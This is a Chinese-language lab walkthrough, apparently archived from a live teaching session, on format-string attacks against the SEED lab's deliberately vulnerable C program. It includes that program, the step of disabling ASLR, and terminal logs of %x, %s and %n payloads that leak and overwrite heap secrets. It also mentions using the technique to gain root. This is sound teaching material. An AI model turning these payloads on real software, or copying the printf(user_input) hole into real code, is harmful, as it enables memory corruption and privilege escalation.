軟體安全live第六期:軟體安全-格式化字元串攻擊

本期live互動、答疑相關問題歸檔:

直播期間「升級難度」部分未能復現漏洞的原因:

1.由於昨晚關閉了電腦,導致今天開機之後,系統環境發生了變化.

2.昨晚的%08x出現的位置是第7個,今天的環境%08x出現的位置是第10個.

3.修改一下user_input的%08x的數量,就可以復現該漏洞了.如下:將0x44改成0x56.

[04/14/2018 22:04] seed@ubuntu:~/Seed/format-string$ ./a.out The variable secret』s address is 0xbffff2d4 (on stack)The variable secret』s value is 0x 804b008 (on heap)secret[0]』s address is 0x 804b008 (on heap)secret[1]』s address is 0x 804b00c (on heap)Please enter a string%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,bffff2d8,00000001,b7eb8309,bffff2ff,bffff2fe,00000000,bffff3e4,bffff384,0804b008,78383025,The original secrets: 0x44 -- 0x55The new secrets: 0x44 -- 0x55[04/14/2018 22:04] seed@ubuntu:~/Seed/format-string$ ./getstr ,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%nThe string length is 52[04/14/2018 22:05] seed@ubuntu:~/Seed/format-string$ ./a.out < mystring The variable secret』s address is 0xbffff2d4 (on stack)The variable secret』s value is 0x 804b008 (on heap)secret[0]』s address is 0x 804b008 (on heap)secret[1]』s address is 0x 804b00c (on heap)Please enter a string?,bffff2d8,00000001,b7eb8309,bffff2ff,bffff2fe,00000000,bffff3e4,bffff384,0804b008,The original secrets: 0x44 -- 0x55The new secrets: 0x56 -- 0x55

【軟體安全】格式化字元串的魔術?

www.zhihu.com圖標

探索C語言的可變長參數

C語言標準庫中頭文件stdarg.h索引的介面包含了一組能夠遍歷變長參數列表的宏。 主要包含下面幾個:

  1. va_list 用來聲明一個表示參數表中各個參數的變數
  2. va_start 初始化一個指針來指向變長參數列表的頭一個變數
  3. va_arg每次調用時都會返回當前指針指向的變數,並將指針挪至下一個位置,va_arg根據第二個參數類型來判斷偏移的距離
  4. va_end需要在函數最後調用,來進行一些清理工作

觀察my_print函數是如何實現可變長參數的?

root@gt:/home/git/myRubbish/seedlab# ./a.out 3.500000 4.500000 5.500000 root@gt:/home/git/myRubbish/seedlab# cat live5_func_arg.c #include <stdio.h>#include <stdarg.h>int myprint(int Narg,...){ va_list ap; int i; va_start(ap,Narg); for(i = 0;i < Narg;i++) { //printf("%d ",va_arg(ap,int)); printf("%f ",va_arg(ap,double)); } printf("
"); va_end(ap);}int main(){ myprint(1,2,3.5); myprint(2,3,4.5,4,5.5); return 1;}

printf庫函數的底層實現是什麼樣的?

int __printf(const char* format,...){ va_list arg; int done; va_start(arg,format); done = vfprintf(stdout,format,arg); va_end(arg); return done;}

printf缺失參數會發生什麼?

root@gt:/home/git/myRubbish/seedlab/live5# ./a.out ID:100 ,name:ailx10 ,age:-828258536 root@gt:/home/git/myRubbish/seedlab/live5# cat arg_missmatch.c #include <stdio.h>int main(){ int id = 100; int age = 25; char* name = "ailx10"; printf("ID:%d ,name:%s ,age:%d
",id,name); return 1;}

格式化字元串漏洞程序

初始化實驗環境: 關閉地址隨機化:sudo sysctl -w kernel.randomize_va_space=0

認識常見的格式化字元:

[04/14/2018 16:10] seed@ubuntu:~/Seed/format-string$ ./a.out helloa=5[04/14/2018 16:10] seed@ubuntu:~/Seed/format-string$ cat test.c #include <stdio.h>int main(){ int a; printf("hello%n
",&a); printf("a=%d
",a); return 0; }

任務:

  1. 列印secret[1]的值
  2. 修改secret[1]的值
  3. 修改secret[1]的值為任意指定值

/* vul_prog.c */#include<stdio.h>#include<stdlib.h>#define SECRET1 0x44#define SECRET2 0x55int main(int argc, char *argv[]){char user_input[100];int *secret;int int_input;int a, b, c, d; /* other variables, not used here.*//* The secret value is stored on the heap */secret = (int *) malloc(2*sizeof(int));/* getting the secret */secret[0] = SECRET1; secret[1] = SECRET2;printf("The variable secret』s address is 0x%8x (on stack)
",(unsigned int)&secret);printf("The variable secret』s value is 0x%8x (on heap)
",(unsigned int)secret);printf("secret[0]』s address is 0x%8x (on heap)
",(unsigned int)&secret[0]);printf("secret[1]』s address is 0x%8x (on heap)
",(unsigned int)&secret[1]);printf("Please enter a decimal integer
");scanf("%d", &int_input); /* getting an input from user */printf("Please enter a string
");scanf("%s", user_input); /* getting a string from user *//* Vulnerable place */printf(user_input);printf("
");/* Verify whether your attack is successful */printf("The original secrets: 0x%x -- 0x%x
", SECRET1, SECRET2);printf("The new secrets: 0x%x -- 0x%x
", secret[0], secret[1]);return 0;}

1.編譯運行獲得如下結果:

[04/10/2018 22:39] seed@ubuntu:~/Seed$ ./a.out The variable secret』s address is 0xbffff2e8 (on stack)The variable secret』s value is 0x 804b008 (on heap)secret[0]』s address is 0x 804b008 (on heap)secret[1]』s address is 0x 804b00c (on heap)Please enter a decimal integer1Please enter a string%d,%d,%d,%d,%d,%d,%d-1073745172,0,-1208008724,-1073745004,1,134524936,623666213The original secrets: 0x44 -- 0x55The new secrets: 0x44 -- 0x55

由結果可以推斷: printf 函數棧的第5個參數是int_input的值

2.我們修改int_input的值為secret[1]的地址會發生什麼? 運行獲得如下結果:

[04/10/2018 22:39] seed@ubuntu:~/Seed$ ./a.out The variable secret』s address is 0xbffff2e8 (on stack)The variable secret』s value is 0x 804b008 (on heap)secret[0]』s address is 0x 804b008 (on heap)secret[1]』s address is 0x 804b00c (on heap)Please enter a decimal integer134524940Please enter a string%d,%d,%d,%d,%s-1073745172,0,-1208008724,-1073745004,UThe original secrets: 0x44 -- 0x55The new secrets: 0x44 -- 0x55

由結果可以推斷:

字元U的ascii碼為0x55,

完成任務1:列印secret[1]的值.

3.試一試%n ? 運行獲得如下結果:

[04/10/2018 22:58] seed@ubuntu:~/Seed$ ./a.out The variable secret』s address is 0xbffff2e8 (on stack)The variable secret』s value is 0x 804b008 (on heap)secret[0]』s address is 0x 804b008 (on heap)secret[1]』s address is 0x 804b00c (on heap)Please enter a decimal integer134524940Please enter a string%x,%x,%x,%x,%nbffff2ec,0,b7ff3fec,bffff394,The original secrets: 0x44 -- 0x55The new secrets: 0x44 -- 0x1d

由結果可以推斷:

0x1d = 29,

(8+1)*3+(1+1) = 27 + 2 = 29.

修改secret[1]的值為29.完成任務2

4.試一試控制輸出寬度? 運行獲得如下結果:

[04/10/2018 23:06] seed@ubuntu:~/Seed$ ./a.out The variable secret』s address is 0xbffff2e8 (on stack)The variable secret』s value is 0x 804b008 (on heap)secret[0]』s address is 0x 804b008 (on heap)secret[1]』s address is 0x 804b00c (on heap)Please enter a decimal integer134524940Please enter a string%8x,%8x,%8x,%996u,%nbffff2ec, 0,b7ff3fec, 3221222292,The original secrets: 0x44 -- 0x55The new secrets: 0x44 -- 0x400

由結果可以推斷:

0x400 = 1024,

(8+1)*3 + 996 = 1024.

修改secret[1]的值為指定的值1024.完成任務3.

升級難度

如果第一個scanf語句不存在,如何實現上面的3個任務?

1.試一試多列印幾個%08x ?

[04/10/2018 23:48] seed@ubuntu:~/Seed$ ./a.out The variable secret』s address is 0xbffff2e8 (on stack)The variable secret』s value is 0x 804b008 (on heap)secret[0]』s address is 0x 804b008 (on heap)secret[1]』s address is 0x 804b00c (on heap)Please enter a string%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,bffff2ec,00000000,b7ff3fec,bffff394,00000000,0804b008,78383025,3830252c,30252c78,252c7838,The original secrets: 0x44 -- 0x55The new secrets: 0x44 -- 0x55

由上面的結果可知: 0804b008是secret的值,之後的78383025%08x的ascii碼.

secret地址之後是我們的user_input的字元串的ascii碼對應的十六進位.

根據這一信息,我們可以將目標地址作為user_input的一部分放入棧空間中.

2.試一試將secret[0]修改成1024 ?

[04/11/2018 00:58] seed@ubuntu:~/Seed$ ./a.out ,%08x,%08x,%08x,%08x,%983u,%nThe string length is 33[04/11/2018 00:59] seed@ubuntu:~/Seed$ ./vulp < mystring The variable secret』s address is 0xbffff2e8 (on stack)The variable secret』s value is 0x 804b008 (on heap)secret[0]』s address is 0x 804b008 (on heap)secret[1]』s address is 0x 804b00c (on heap)Please enter a string?,bffff2ec,00000000,b7ff3fec,bffff394, 0,The original secrets: 0x44 -- 0x55The new secrets: 0x400 -- 0x55

格式化字元串攻擊的應用

1.修改函數返回地址,實現緩衝區溢出攻擊,獲取root許可權

2.修改函數返回地址,實現return to libc攻擊,獲取root許可權

3.修改判斷語句的變數值,改變程序的執行流,實現競爭漏洞攻擊,獲取root許可權


推薦閱讀:

來自CISO的5條管理網路安全威脅的建議
法律法規、採購中的風險和安全教育(Day007)
信息系統安全等級保護的定級準則和等級劃分
零基礎一個月快速掌握Kali linux
網路安全的第一道「門」已被撬開,這些驗證碼不在安全

TAG:網路安全 | 信息安全 | 黑客Hacker |